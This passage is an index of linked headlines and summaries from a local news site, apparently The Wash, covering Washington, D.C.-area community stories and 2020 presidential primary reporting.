right approach?](https://thewash.org/2020/10/27/arlington-county-begins-a-conversation-on-racial-equity-but-is-it-the-right-approach/) - The Arlington County Manager’s office began reaching out to residents last week, to learn about and directly address racial equity issues across the county. The series, called Dialogues on Race and Equity (DRE), is an effort to gather community input, to better understand what gaps exist and to assess what county government regulations cause inequities. - [Georgetown group invests in pilot to save Ginkgos](https://thewash.org/2020/10/27/georgetown-group-invests-in-pilot-to-save-ginkgos/) - Residents wanted to remove the Ginkgos on their block because of the smell, but Trees for Georgetown offered an alternative. - [Not a trick: Petworth residents treat neighbors to a socially-distant Halloween](https://thewash.org/2020/10/27/not-a-trick-petworth-residents-treat-neighbors-to-a-socially-distant-halloween/) - A socially-distant Halloween parade, candy bag giveaways and candy chutes are some of the ways Petworth residents are celebrating Halloween amid COVID-19. - [Year-long delays continue on Ward 8 grocery store](https://thewash.org/2020/10/27/year-long-delays-continue-on-ward-8-grocery-store/) - Good Food Markets aims to bring grocery stores to low income neighborhoods, but has faced obstacles both before and during the coronavirus pandemic. - [U Street neighborhood calls on city to install cameras, lights in dumpster-filled alleyway](https://thewash.org/2020/10/20/dumpsterfires/) - After two dumpster fires ripped through 14th & V Street in April and September, the neighborhood’s ANC group and local residents are asking the Department of Public Works to remove the dumpsters, control illegal dumping and electronically monitor the area. - [As DC officials drive Park Morton redevelopment forward, residents fear permanent displacement](https://thewash.org/2020/09/22/as-dc-officials-drive-park-morton-redevelopment-forward-residents-fear-permanent-displacement/) - Panic spread among Park Morton residents Monday morning after an email circulated stating that the District of Columbia Housing Authority was planning to shut down a residential building, giving residents 30 days to move. DCHA later denied this, but residents still fear displacement with redevelopment on the horizon. - [Number of stolen cars is on the rise in NoMa](https://thewash.org/2020/10/20/number-of-stolen-cars-is-on-the-rise-in-noma/) - Police are also responding to an increase in thefts from inside autos. - [Thousands of women march to protest Trump administration](https://thewash.org/2020/10/20/thousands-of-women-march-to-protest-trump-administration/) - Thousands of women rallied at the Women’s March on Saturday, hosted by groups like Planned Parenthood, the women of the Piscataway Nation and Black Lives Matter D.C. Participants protested the recent nomination of Amy Coney Barrett to the Supreme Court and the Trump administration’s handling of the pandemic. - [Vacancy is growing in downtown Bethesda as officials struggle to shore up businesses](https://thewash.org/2020/10/20/vacancy-is-growing-in-downtown-bethesda-as-officials-struggle-to-shore-up-businesses/) - Within five blocks of the Bethesda metro station there are enough commercial spaces available to equal a major shopping mall, and officials are having a hard time knowing who's making it through the economic downturn. - [Langley Elementary School parents prepare for possibility of another new normal](https://thewash.org/2020/10/20/langley-elementary-school-parents-prepare-for-possibility-of-another-new-normal/) - Mayor Muriel Bowser announced in late September that some D.C. elementary school students would be returning to school come November. But Langley Elementary School parents are still waiting to see which students will return to school and if two projects in the building will be completed when they do. - [Fall weather brings flooding and more risk for drivers](https://thewash.org/2020/10/06/fall-weather-brings-flooding-and-more-risk-for-drivers/) - Every year southern Montgomery County and the Bethesda suburbs have flood warnings. Local EMS remind the community to "Turn around, don't drown." - [Arlington honors survivors during Domestic Violence Awareness Month](https://thewash.org/2020/10/20/arlington-honors-survivors-during-domestic-violence-awareness-month/) - A conglomeration of organizations in Arlington County will be hosting online workshops and other initiatives throughout October for Domestic Violence Awareness Month. - [Marchers rally in DC against Trump’s Supreme Court nominee](https://thewash.org/2020/10/19/marchers-rally-in-dc-against-trumps-supreme-court-nominee/) - Thousands of demonstrators gathered in D.C. Saturday at the Women’s March to protest President Trump’s Supreme Court nominee, Amy Coney Barrett, and to show their support for Vice President Biden, women’s rights and to honor the late Ruth Bader Ginsburg. The Wash spoke to five of the people there. - [Neighborhood torn over ‘ludicrous,’ ‘confusing’ plan to reopen schools](https://thewash.org/2020/10/13/neighborhood-torn-over-ludicrous-confusing-plan-to-reopen-schools/) - Days before Tyler Elementary School welcomed students back for outdoor, limited programming, the district unveiled a widespread plan to send more than 20,000 elementary students back to campus, drawing the ire of many. - [Bicyclists disappointed by American University’s 10-year plan](https://thewash.org/2020/10/13/bicyclists-disappointed-by-american-universitys-10-year-plan/) - Local bike advocates argue that AU’s Campus Plan doesn’t proactively encourage biking in a neighborhood that needs additional infrastructure. - [Dancing in the time of coronavirus: How an arts school is working to raise up DC’s hardest hit community](https://thewash.org/2020/10/06/dancing-in-the-time-of-coronavirus-how-an-art-school-is-working-to-raise-up-dcs-hardest-hit-community/) - The pandemic has hit the arts particularly hard; but in Columbia Heights, a local dance school’s proactive response, and years of experience with adapting to community needs, looks to be keeping them afloat. - [Arlington commits to new image, starting with its logo](https://thewash.org/2020/10/13/arlington-commits-to-new-image-starting-with-its-logo/) - Arlington County’s logo currently depicts a symbol of Arlington House, an Arlington Cemetery memorial of Confederate General Robert E. Lee. Some say its use glorifies a slave master. Now, county leaders want to change it. - [District public school’s undergo standards revision to include ethnic studies](https://thewash.org/2020/10/13/district-public-schools-undergo-standards-revision-to-include-ethnic-studies/) - The DC State Board of Education is currently in the process of reviewing and revising the social studies standards and curriculum to include more focus on ethnic-minority groups. - [Some Columbia Heights residents embrace drop box voting, others prefer in-person option](https://thewash.org/2020/10/13/some-columbia-heights-residents-embrace-drop-box-voting-others-prefer-in-person-option/) - Columbia Heights residents use new mail-in drop box locations to submit their ballots for the upcoming presidential and local elections. - [After 3 years, delays continue on Petworth Rec Center renovations](https://thewash.org/2020/10/13/after-3-years-delays-continue-on-petworth-rec-center-renovations/) - Renovations to the Petworth Rec Center are still incomplete and residents are not surprised by the delay. But, in the meantime, community members can enjoy other outdoor recreation and fall programming. - [Amid pandemic, families in Ward 7 and Ward 8 welcome new resource centers](https://thewash.org/2020/10/13/amid-pandemic-families-in-ward-7-and-ward-8-welcome-new-resource-centers/) - The city offers a wide range of resources for families, and “family success” centers aim to help residents navigate them better. - [Oldest Church in Georgetown looks to preserve past, prepare for future with restoration plan](https://thewash.org/2020/10/13/oldest-church-in-georgetown-looks-to-preserve-past-prepare-for-future-with-restoration-plan/) - Georgetown Lutheran Church wants to address ADA issues, restore its 1914 bell tower, and better manage stormwater. - [Maryland judge temporarily blocks ICE deportation of man detained on church property](https://thewash.org/2020/10/13/maryland-judge-temporarily-blocks-ice-deportation-of-man-detained-on-church-property/) - Twenty-two days after ICE detained him, Binsar Siahaan was given a chance to pursue asylum by a Maryland judge. - [U Street neighborhood awaiting final redevelopment plans](https://thewash.org/2020/10/06/reeves-survey/) - The city's online-only, recently-closed public life survey received almost 4,500 responses about current and future use of the space around the Reeves Center, which sits at 14th & U Street. The input will inform the soon-to-be-released request for proposal, which will help determine redevelopment. - [Amid pandemic, museums slowly reopen in DC](https://thewash.org/2020/10/05/museums-begin-to-reopen-across-the-district/) - Mayor Bowser extends Phase 2 of D.C.'s reopening plan until the end of the year, but museums in the District are starting to open, welcoming visitors and locals with open, but socially-distanced arms. - [Arlington County faces two crisis at start of school year: coronavirus and racial disparities](https://thewash.org/2020/10/06/arlington-county-faces-two-crisis-at-start-of-school-year-coronavirus-and-racial-disparities/) - Community members in Arlington want to begin the school year ensuring black students are receiving equitable treatment and access to resources and opportunities. Arlington Public School administrators say they want the same. Both are focused on addressing the racial disparity issues between Black and white students, all while facing down a global pandemic. - [Amid pandemic, Georgetown graduate student union seeks arbitration over bargaining rights](https://thewash.org/2020/10/06/amid-pandemic-georgetown-graduate-student-union-seeks-arbitration-over-bargaining-rights/) - Georgetown students say the university has violated the terms of its labor contract by denying them the right to bargain over health protections. - [Arlington citizens grill county board on housing problems](https://thewash.org/2020/10/06/arlington-citizens-grill-county-board-on-housing-problems/) - The Arlington Department of Community Planning, Housing, and Development compiled a research compendium fueled by community feedback. The County Board will use this research to take a deeper look into missing middle housing in Arlington. - [Pandemic does not stop Hispanic celebrations in La Cosecha](https://thewash.org/2020/10/06/pandemic-does-not-stop-hispanic-celebrations-in-la-cosecha/) - Hispanic heritage celebrations have brought a bigger crowd to Union Market district’s La Cosecha amid the pandemic. - [ANC 4C calls for better public housing policies and addresses ‘lukewarm’ rent control protection](https://thewash.org/2020/10/06/anc-4c-calls-for-better-public-housing-policies-and-addresses-lukewarm-rent-control-protection/) - Advisory Neighborhood Commission members proposed several changes to the D.C. Comprehensive Plan that will guarantee public housing, build housing for the homeless, minimize displacement and promote community-led developments in vulnerable neighborhoods. - [Shooting in Park View leaves one injured and police looking for answers](https://thewash.org/2020/10/03/shooting-in-park-view-leaves-one-injured-and-police-looking-for-answers/) - Police responded to a non-fatal shooting Saturday afternoon in the 500 block of Columbia Rd NW. The investigation is ongoing. - [A spectacle in Bethesda as President Trump is sent to Walter Reed](https://thewash.org/2020/10/03/a-spectacle-in-bethesda-as-president-trump-is-sent-to-walter-reed/) - President checked in "as an abundance of caution," said the White House. - [Pandemic enhances 'deplorable conditions' in public housing](https://thewash.org/2020/09/29/pandemic-enhances-deplorable-conditions-in-public-housing/) - Since the onset of the coronavirus pandemic in March, public housing maintenance workers have halted routine maintenance, only responding to emergency calls. - [Chevy Chase residents want racist senator’s name erased from fountain](https://thewash.org/2020/09/29/chevy-chase-residents-want-racist-senator-name-erased-from-fountain/) - The community is keeping the pressure on the National Park Service to take action. The ball is now in the federal government’s court. - [DMV monitoring air quality as smoke from wildfires drifts across the country](https://thewash.org/2020/09/29/dmv-monitoring-air-quality-as-smoke-from-wildfires-drifts-across-the-country/) - Wildfire smoke is visible from the East Coast. District public official says the smoke is too high up to cause any health risk to residents. - [Some special education teachers notice an uptick in student engagement, attendance as school year begins](https://thewash.org/2020/09/29/some-special-education-teachers-notice-an-uptick-in-student-engagement-attendance-as-school-year-begins/) - Four weeks into the semester and special education teachers notice active student engagement in virtual learning classrooms - [City initiative to slow car traffic omits Georgetown](https://thewash.org/2020/09/29/city-initiative-to-slow-car-traffic-omits-georgetown/) - Slow Streets Initiative lowers the speed limit on 22 miles of DC roadway. One resident called Georgetown’s exclusion a “failure.” - [Promotional events fail to boost business for Black-owned Shaw restaurants](https://thewash.org/2020/09/29/promotional-events-fail-to-boost-business-for-black-owned-shaw-restaurants/) - Owners of FishScale and HalfSmoke report disappointment with the lack of business brought by sweepstakes and D.C. Black Restaurant Week. - [Southeast Washington to receive new medical clinic](https://thewash.org/2020/09/29/southeast-washington-to-receive-new-medical-clinic/) - Bread for the City will offer medical, dental and vision care services east of the Anacostia River for the first time in its history. - [U Street area may receive an always-open public restroom](https://thewash.org/2020/09/22/publicrestroom/) - 14th & U Street Corridor on list of six possible locations to receive one stand-alone restroom facility - [Local athletes hold on to hope as COVID-19 presents new challenges](https://thewash.org/2020/09/22/local-athletes-hold-on-to-hope-as-covid-19-presents-new-challenges/) - Tokyo 2020 Olympic Summer Games – Postponed The Invictus Games founded by Prince Harry – Postponed The Boston Marathon – Virtual Only Montgomery County High School Sports – Fall and Winter Cancelled - [After a rough start, Ward 5's only middle school is 'crushing it'](https://thewash.org/2019/12/10/once-called-a-zoo-brookland-middle-school-becomes-a-model-in-dcps/) - After getting a bad rap for years, Brookland Middle School saw the highest enrollment increase of all Washington middle schools after administrators and parents turned its reputation around. - [One man dead, one injured after shooting in Friendship Heights](https://thewash.org/2020/09/25/one-person-dead-one-injured-after-shooting-in-friendship-heights/) - Update: Police have identified the Baltimore man who died after a Thursday shooting in Friendship Heights. - [NoMa amplifies artistic Wear a Mask campaign to fight COVID-19](https://thewash.org/2020/09/22/noma-amplifies-artistic-wear-a-mask-campaign-to-fight-covid-19/) - The Wear a Mask campaign is expanding to make the message of coronavirus prevention more diverse within the community and Washington D. C. - [Bloomingdale history curriculum pivots in final stages](https://thewash.org/2020/09/22/bloomingdale-history-curriculum-pivots-in-final-stages/) - The Bloomingdale Civic Association has been working for a year and a half to bring a local leadership and history curriculum to Bloomingdale students. Now, in the final weeks of its grant, the association must make its curriculum compatible with online learning. - [State of the Race: Ward 2](https://thewash.org/2020/09/22/state-of-the-race-ward-2/) - In six weeks, voters in Ward 2, which includes Georgetown, Dupont Circle, Foggy Bottom and Downtown, will select a representative for the D.C. Council. Here are the contenders. - [Gallaudet University launches new deaf research network ](https://thewash.org/2020/09/22/gallaudet-university-launches-new-deaf-research-network/) - Lorna Quandt, Ph.D., and professor Melissa Malzkuhn at Gallaudet University have launched a brand new research network to engage deaf researchers across the world to collaborate together. The two researchers discuss their research, their hopes for the network, and how their current projects are progressing. - [Arlington County incentivizes residents to go green with Car Free Day](https://thewash.org/2020/09/22/arlington-county-incentivizes-residents-to-go-green-with-car-free-day/) - Despite many people still not using public transportation due to the coronavirus pandemic, Arlington is hosting an event to get people excited about helping reduce emissions. - [Mourners gather to remember Ruth Bader Ginsburg](https://thewash.org/2020/09/21/mourners-gather-to-remember-ruth-bader-ginsburg/) - An impromptu memorial grew on the steps of the Supreme Court over the weekend. - [Mourners on the passing of Justice Ginsburg: ‘We lost her,’ ‘It feels apocalyptic’](https://thewash.org/2020/09/19/mourners-on-the-passing-of-justice-ginsburg-we-lost-her-it-feels-apocalyptic/) - Crowds flocked to the Supreme Court on Friday to pay their respects to Justice Ruth Bader Ginsburg who passed away from metastatic pancreatic cancer earlier that evening. Ginsburg, also known as 'Notorious R.B.G.' and 'a feminist icon,' leaves behind a vacant Supreme Court seat, setting up an intense battle in the Senate. - [Emergency heat warning declared in the District, a hallmark of D.C. summers](https://thewash.org/2020/07/10/emergency-heat-warning-declared-in-the-district-a-hallmark-of-d-c-summers/) - The District of Columbia’s government declared a heat emergency early Friday as the heat index crept into the 90s. “Residents and visitors should take extra steps to beat the heat by staying in the shade or air-conditioning, drinking plenty of water and visiting a cooling center,” said a statement from the city’s Homeland Security and Emergency - [Residents dream up new future for the Crystal City Underground](https://thewash.org/2020/07/10/residents-dream-up-new-future-for-the-crystal-city-underground/) - Government contractors who worked above Geppi’s Comic World in Crystal City once filtered in around lunchtime to browse the rows of baseball cards and comics. “I knew the majority of my customers by their first name. They knew our store,” said Rich Seetoo, a store manager during its heyday in the 1990s. “You know, it - [A celebration of Japanese culture postponed by a virus. Now what?](https://thewash.org/2020/03/21/a-celebration-of-japanese-culture-postponed-by-a-virus-driving-xenophobia-what-now/) - The Japan-America Society of Washington, D.C., must address new issues brought on by the coronavirus as it reimagines its postponed Cherry Blossom Festival events, including racism towards Asian-Americans. - [Young people aren't sure their votes matter](https://thewash.org/2020/03/04/young-people-arent-sure-their-votes-matter/) - By Lydia Calitri Young voters in presidential elections often come out in low numbers — usually posting historically low numbers in their voting demographic. The 2020 South Carolina primary was no exception. Voters between 17-29 made up 11% of the Democratic electorate, a 4% decrease from 2016’s primary. So what’s holding this demographic back from - [Is the Doctor In? Yes and No.](https://thewash.org/2020/03/22/is-the-doctor-in/) - The coronavirus spurs a rise in telemedicine Washington, D.C. – This week health care providers across the country are transferring their in-office appointments to virtual visits, heeding the call for social distancing while protecting their practice. However, telemedicine, also known as telehealth, has been an increasingly popular option for many years. The American Hospital Association - [Working and parenting amid coronavirus quarantine](https://thewash.org/2020/03/21/working-and-parenting-amid-coronavirus-quarantine/) - "It has opened my life to what is important in life." - [Transit authority says "seeing flowery trees is not essential"](https://thewash.org/2020/03/21/transit-authority-says-seeing-flowery-trees-is-not-essential/) - Riders asked to stay home, avoid viewing cherry blossoms this year. - [Cherry blossom viewers continue to visit Kenwood amid COVID-19 concerns](https://thewash.org/2020/03/21/cherry-blossom-viewers-continue-to-visit-kenwood-amid-covid-19-concerns/) - Residents caution visitors to be mindful of social distancing - [Candidate's gender important to some voters](https://thewash.org/2020/02/11/candidates-gender-important-to-some-voters/) - By Caroline Rinker MANCHESTER, N.H. — It was snowing as the line for Sen. Amy Klobuchar’s Sunday night rally wrapped around a Manchester high school gym. Many of the hundreds of people waiting were still undecided about which candidate they would back in the primary, but Jon Onorowski said he'd already decided to vote for - [Trump pumps up GOP voters before S.C. Democratic primary](https://thewash.org/2020/03/11/trump-pumps-up-gop-voters-before-s-c-democratic-primary/) - By Emily Morrison, Vivian Nguyen, Natalie Kerwin and Naomi Oladeinde CHARLESTON, S.C. — While South Carolina Democrats were focused on choosing a presidential candidate, President Donald Trump came to the state to rally his supporters. “It’s a phenomenal crowd, only topped by the number of people outside that didn’t get in," Trump told more than - [Listening and watching candidates, voters, signs](https://thewash.org/2020/03/10/listening-and-watching-candidates-voters-signs/) - By Melany Rochester, Eric Perless and Jonah Goldman • Videos by Melany Rochester COLUMBIA, S.C. — The Wash staff fanned out across greater Columbia the morning of Feb. 29 to talk to voters and listen to last-minute contenders to be the Democratic nominee. Here's what we found: NPR reporter: What makes Warren different? Danielle Kurtzleben, - [Gabbard says her experience is needed to address military issues](https://thewash.org/2020/02/09/gabbard-says-her-experience-is-needed-to-address-military-issues/) - By R. Fraser Manchester, N.H. — Two candidates seeking the 2020 Democratic nomination for president have unique qualifications when it comes to dealing with military issues. Rep. Tulsi Gabbard is a major in the Army National Guard and Pete Buttigieg was in the U.S. Naval Reserve and served in Afghanistan. Gabbard, who represents Hawaii’s 2nd - [Voters say they want Trump off the ticket](https://thewash.org/2020/03/04/voters-say-they-want-trump-off-the-ticket/) - COLUMBIA, S.C. — Our staff was on the ground to interview voters about what South Carolinians think of the contenders in Saturday's presidential ballot. Here's what they found: “I have people in my family who have been hurt and beaten for the right to vote. We have gone through too much to sit on our - [In wake of Milwaukee shooting, Democratic presidential candidates talk gun laws](https://thewash.org/2020/03/03/in-wake-of-milwaukee-shooting-democratic-presidential-candidates-talk-gun-laws/) - Klobuchar, Warren push universal background checks, getting assault rifles ‘off the street’ - [Candidates court the selfie vote](https://thewash.org/2020/03/01/candidates-court-the-selfie-vote/) - By Brianna Crummy CHARLESTON, S.C. — Audience members lined up five deep for a chance at a selfie with Democratic presidential candidates during commercial breaks at the CNN Town Hall. As the moderators finished their last lines on the teleprompter, people sprang from their seats, phones in hand, ready to catch former Vice President Joe - [Fans, and a lifelong friend, join the Pete tour](https://thewash.org/2020/02/29/fans-a-lifelong-friend-join-the-pete-tour/) - By Yazan Hanouneh COLUMBIA, S.C. — When Mike Schmuhl was an eighth-grader in South Bend, Indiana, ninth-grade student Pete Buttigieg gave him a personal tour of his future high school. Now Schmuhl is running Buttigieg's 2020 presidential campaign. Schmuhl said he never saw himself as a campaign manager. While attending the University of Notre Dame, - [Gun control, student debt take center stage at town hall](https://thewash.org/2020/02/29/gun-control-student-debt-take-center-stage-at-town-hall/) - By Maddi Cole CHARLESTON, S.C — U.S gun violence is a “public health emergency,” Sen. Elizabeth Warren told primary voters at a South Carolina town hall. “The first thing I would do would be to enforce the current laws about gun dealers,” Warren said Wednesday at a town hall here. “We have let so many - [Can Klobuchar reach black voters?](https://thewash.org/2020/02/29/can-klobuchar-reach-black-voters/) - By Mallory Payne CHARLESTON, S.C. — Sen. Amy Klobuchar spent several days in South Carolina trying to woo black voters in the days before the state’s first-in-the-South Democratic presidential primary. At a CNN town hall in Charleston, Klobuchar worked to make emotional connections with voters, tailoring her answers to issues important to the state. However, - ['Flag Man' aims to prove Democrats as patriotic as the GOP](https://thewash.org/2020/02/29/flag-man-aims-to-prove-democrats-as-patriotic-as-the-gop/) - By Radhika Sikhakhane NASHUA, N.H. — Chris Nielsen wants to show that Democrats are just as patriotic as Republicans. The Clinton, Mass., resident was distributing American flags outside an Amy Klobuchar rally in February as people lined up to hear the Minnesota senator speak to supporters and undecided voters before the New Hampshire primary. “I - [For Sanders supporters, Iowa mess still looms large as spotlight shifts to New Hampshire](https://thewash.org/2020/02/10/for-sanders-supporters-iowa-mess-still-looms-large-as-spotlight-shifts-to-new-hampshire/) - By Robert Heilberg MANCHESTER, N.H. — Surrogates and supporters at Sen. Bernie Sanders campaign’s debate watch party in Manchester said they remain concerned about the Iowa Democratic Party’s handling of the first-in-the-nation caucuses. The event last Friday at the Ultimate Sports Complex featured high-profile boosters, including filmmaker and activist Michael Moore; former Ohio state Rep. - [Tourists join the crowds to hear Klobuchar in New Hampshire](https://thewash.org/2020/02/11/tourists-join-the-crowds-to-hear-klobuchar-in-new-hampshire/) - Out-of-state political junkies traveled to New Hampshire to hear from candidates and make up their minds. - [Michael Moore galvanizes crowd at Sanders watch party](https://thewash.org/2020/02/11/michael-moore-galvanizes-crowd-at-sanders-watch-party/) - Sanders supporters rallied for the progressive Democratic nominee during a debate watch party on Friday. - [Undecided voters weigh their options with Amy Klobuchar in Nashua](https://thewash.org/2020/02/11/undecided-voters-weigh-their-options-with-amy-klobuchar-in-nashua/) - New Hampshire voters gathered at Fair Grounds Junior High School to hear presidential hopeful Amy Klobuchar two nights before primary voting. - [Biden rally prompts tears, memories](https://thewash.org/2020/02/11/biden-rally-prompts-tears-memories/) - The former vice president talked about his personal tragedies throughout the campaign stop. - [College students travel to NH to see Warren and Sanders](https://thewash.org/2020/02/11/college-students-travel-to-nh-to-see-warren-and-sanders/) - Young and first-time voters were visiting the Granite State to scope out their candidates before New Hampshire’s primary Tuesday. - [Steak, eggs and political debates](https://thewash.org/2020/02/11/steak-eggs-and-political-debates/) - Red Arrow Diner draws both longtime and new political-watchers. - [Underdog Steyer says he’s the one to beat Trump](https://thewash.org/2020/02/12/underdog-steyer-says-hes-the-one-to-beat-trump/) - The billionaire cites climate change as the top issue. - [‘I was really born a Democrat’](https://thewash.org/2020/02/12/i-was-really-born-a-democrat/) - State senate president reflects on leaders in the trailblazing state. - [The surrogates swarm New Hampshire](https://thewash.org/2020/02/23/the-surrogates-swarm-new-hampshire/) - By Katie Kaschub In the days leading up to the pivotal New Hampshire primary, political surrogates are representing their candidates around the state at canvassing events, rallies and debate watch parties. Endorsers and surrogates lend their political capital to candidates during the primary to help garner support and turn out voters. A candidate cannot be - ['We’re on the same team. We just support different players.'](https://thewash.org/2020/02/23/were-on-the-same-team-we-just-support-different-players/) - By Zebulon Huber PORTSMOUTH, N.H. — “This is the first time I’ve ever done this!” The energy radiating from 61-year-old Carol Andre was palpable. The retired special-education teacher had arrived at a Portsmouth polling station around 8 a.m. in order to stump for her candidate: Pete Buttigieg. "I got hooked on this guy in the - [Klobuchar Fans spur the ‘Klobusurge’](https://thewash.org/2020/02/23/klobuchar-fans-spur-the-klobusurge/) - By Kyra Briddell NASHUA, New Hampshire — More than 1,000 New Hampshire voters and political tourists waited outside Fair Grounds Middle School to see what many are calling the "KlobuSURGE." Standing in front of her largest crowd of the primary Klobuchar weaved her personal stories with predicted policies of a Kloubchar White House. With almost - [Biden rally prompts tears, memories](https://thewash.org/2020/02/23/biden-rally-prompts-tears-memories-2/) - By Carter Allen, Alexa Barnes, Robbie Heilberg, Joshua Ludden, Sophia Solano NASHUA, N.H. — Democratic presidential candidate Joe Biden’s Get-Out-The-Vote rally Sunday afternoon highlighted his despair several times, evoking more teary eyes than applause. While other candidates create hopeful or uplifting campaign messages that promote a specific vision of the future of America, the former vice - [Steyer stresses diversity, economy issues](https://thewash.org/2020/02/23/steyer-stresses-diversity-economy-issues/) - By Sarah Duval MANCHESTER, N.H. — Tom Steyer is by no means a front runner. With his national polling at 2.2 percent and a 7th place finish in Iowa, Steyer is lingering behind the pack. Despite this, the enthusiasm for his candidacy was palpable at his get-out-the-vote event on Saturday. The audience stood shoulder to shoulder, - [New Hampshire boasts women breaking barriers](https://thewash.org/2020/02/23/new-hampshire-boasts-women-breaking-barriers/) - By Christian Peña MANCHESTER, N.H. — Donna Soucy, New Hampshire Senate president, is among the many women who are breaking barriers in state politics. Soucy is a Democratic family, once serving with her father and mother. Soucy previously served in the New Hampshire House of Representatives and as a ManchesterAlderman. She served three terms in the - [Can a woman be elected?](https://thewash.org/2020/02/23/can-a-woman-be-elected/) - By Colleen Wachenfeld MANCHESTER, N.H. — The question of electability has plagued the female candidates in the 2020 election, but in New Hampshire, the three remaining women in the race are facing voters with a historic record of electing women to statewide office. While many Democrats prioritize beating Donald Trump, the question of whether a - [Former diplomat decides 'anybody but Trump'](https://thewash.org/2020/02/23/former-diplomat-decides-anybody-but-trump/) - By Emma Dion and Karissa Waddick LONDONDERRY, N.H. – Steve Young, a longtime New Hampshire resident, says he values his ability to vote in the first-in-the-nation primary after spending years of his life in Washington surrounded by those who couldn’t exercise a similar right. “Taxation without representation: I know all about it,” Young said. “I’ve - [The drive for diversity](https://thewash.org/2020/02/23/the-drive-for-diversity/) - By R. Fraser CONCORD, N.H. — Politics in New Hampshire is a core part of the state’s identity. Those politics are what has led to New Hampshire holding tight to its First In The Nation Primary status. However, as a state that is 92% white, critics and opponents of New Hampshire’s special status in the - [Listening to the voters](https://thewash.org/2020/02/23/listening-to-the-voters/) - By Faith Boehm American University student Faith Boehm interviewed voters in Manchester and Concord, New Hampshire, before the state’s first-in-the-nation primary. Here’s what she found: Jerry Paulson, 60, has driven to New Hampshire to see presidential candidates make their pitches for the Democratic nomination since 2008. This time, he left his home in Washington at 5:45 - [Inaugural homestand for DC's esports team delivers a spectacle](https://thewash.org/2020/02/27/inaugural-homestand-for-dcs-esports-team-delivers-a-spectacle/) - From ribbon dancers to a riled up home crowd, the Washington Justice made an experience out of esports. - [Hospital care denied for many victims of violent crime](https://thewash.org/2020/01/24/hospital-care-denied-for-many-victims-of-violent-crime/) - A recent political decision has made access to medical care increasingly more difficult for the Southeast D.C. community. - [District sidewalks still not up to ADA standards](https://thewash.org/2020/01/21/district-sidewalks-still-not-up-to-ada-standards/) - The District's sidewalks are in disrepair. For those who use mobility aids, that's a major problem. - [How DC plans to eliminate transportation fatalities by 2024 and why it’s not working](https://thewash.org/2019/12/14/how-dc-plans-to-eliminate-transportation-fatalities-by-2024-and-why-its-not-working/) - D.C. Mayor Muriel Bowser says serious injuries and fatalities could be zero, but data show there still needs to be work done. - [Bagels, fraud and false identities: nationwide scam targets Adams Morgan](https://thewash.org/2019/12/13/bagels-fraud-and-false-identities-nationwide-scam-targets-adams-morgan/) - Pepe Montesinos immigrated from Oaxaca, Mexico, to Washington, D.C., in 1965, and 10 years later his American dream took root in Adams Morgan. For 40 years, his restaurant Mixtec was a neighborhood staple, serving traditional Mexican food as one of the District’s first taquerias. In 2014, Mixtec died out along with other restaurants due to - [Dupont Circle BID makes long-term impact in short time](https://thewash.org/2019/12/10/dupont-circle-bid-makes-long-term-impact-in-short-time/) - The one year anniversary of Dupont Circle Business Improvement Development marks progress through cleaner streets, planned events and expanded and new businesses. - [Cities are gearing up for winter weather](https://thewash.org/2019/12/10/cities-are-gearing-up-for-winter-weather/) - Winter storms and icy weather changes in the Metro area are expected impact cities. - [Neighborhood Guide: 10 H Street go-tos](https://thewash.org/2019/12/10/neighborhood-guide-10-h-street-go-tos/) - A variety of places you wouldn’t want to miss during your visit to the corridor. - [Smithsonian ZooLights too good to pass, even with day-long rain](https://thewash.org/2019/12/10/smithsonian-zoolights-too-good-to-pass-even-with-day-long-rain/) - Rain made way for a gloomy, picturesque setting at the Smithsonian ZooLights Monday night, which managed to attract visitors despite unappealing weather conditions. Celebrating its annual lights show, the Smithsonian National Zoo invites all to enjoy illuminated animals in a Christmas-themed environment. The show uses over 500,000 LED lights all powered by D.C.’s electric power - [Metro train strikes person at Farragut West, service suspended 2 hours](https://thewash.org/2019/12/10/metro-train-strikes-person-at-farragut-west-service-suspended-2-hours/) - Some metro stations in D.C. were held up after Farragut West Station suspended their operations for two hours due to a medical emergency. - [Black-owned DC bank expands to New York, New Jersey](https://thewash.org/2019/12/10/black-owned-dc-bank-expands-to-new-york-new-jersey/) - The black-owned Industrial Bank has spread northeast into Harlem, New York and two locations in New Jersey. Opened on U Street in Shaw in 1932, owners hope to continue their legacy of providing good customer service to the various communities around them. - [Participants march, standing up for human rights](https://thewash.org/2019/12/09/participants-march-standing-up-for-human-rights/) - Erica Rodgers, National Director of the Youth for Human Rights International, recalled a touching moment between the organization and an 11-year-old boy. The organization had visited the boy’s elementary school to teach the children about their 30 rights, including the right to privacy which protects individuals from bullying. “The boy sent a written letter thanking - [Climate change protesters disrupt traffic across DC](https://thewash.org/2019/12/07/climate-change-protesters-disrupt-traffic-across-dc/) - In a protest that lasted for hours, climate activists blocked downtown D.C. streets Friday to demand action to reduce fossil fuels. - [In Brookland, a community stands behind its public schools](https://thewash.org/2019/12/05/in-brookland-a-community-stands-behind-its-public-schools/) - Brookland parents and community organizers are joining together to support the neighborhood's public schools. - [Trump’s conduct ‘impeachable,’ legal experts say](https://thewash.org/2019/12/06/trumps-conduct-impeachable-legal-experts-say/) - Constitutional experts diverge on crucial next steps and Democrats hint at a long list of charges. - [Why residents living near a century-old bus barn say they won’t be happy until it’s gone](https://thewash.org/2019/12/06/why-residents-living-near-a-century-old-bus-barn-say-they-wont-be-happy-until-its-gone/) - A controversy swirling around the Northern Bus Garage in Petworth has come to a head at multiple public meetings and residents are pointing fingers at WMATA and D.C. government officials. - [Protesters demand trade commissioners end solar tariffs](https://thewash.org/2019/12/06/protesters-demand-trade-commissioners-end-solar-tariffs/) - Industry allies from different solar companies such as SEIA and SGC Power hoped to influence the commission to get rid of tariffs on solar panels. The tariffs have cost 62 thousand jobs since 2018, according to SEIA. - [Fighting to preserve Go-go music, culture, and the people who love it](https://thewash.org/2019/12/03/fighting-to-preserve-go-go-music-and-the-people-it-impacts/) - Legislation introduced in June could make Go-go the official music of the district and bring more protections to the culture that thrives in the city. - [Man arrested after police standoff in Columbia Heights](https://thewash.org/2019/12/05/man-arrested-after-police-standoff-in-columbia-heights/) - A DC man with a previous warrant for his arrest was taken into custody yesterday after returning to the home of a victim he had assaulted. - [Smoke sends D.C. diners scrambling](https://thewash.org/2019/12/04/smoke-sends-d-c-diners-scrambling/) - A manager takes quick action after he smells smoke in his restaurant Tuesday night. - ["Fire cider is free!" and D.C. celebrates](https://thewash.org/2019/12/03/fire-cider-is-free-and-d-c-celebrates/) - Court ruling on trademark dispute favors herbalists - [What’s next for a middle school in Shaw?](https://thewash.org/2019/12/03/whats-next-for-a-middle-school-in-shaw/) - D.C council has proposed a study to move a middle school in Shaw to a vacant Banneker High School. - [DC Council passes resolution eliminating cannabis 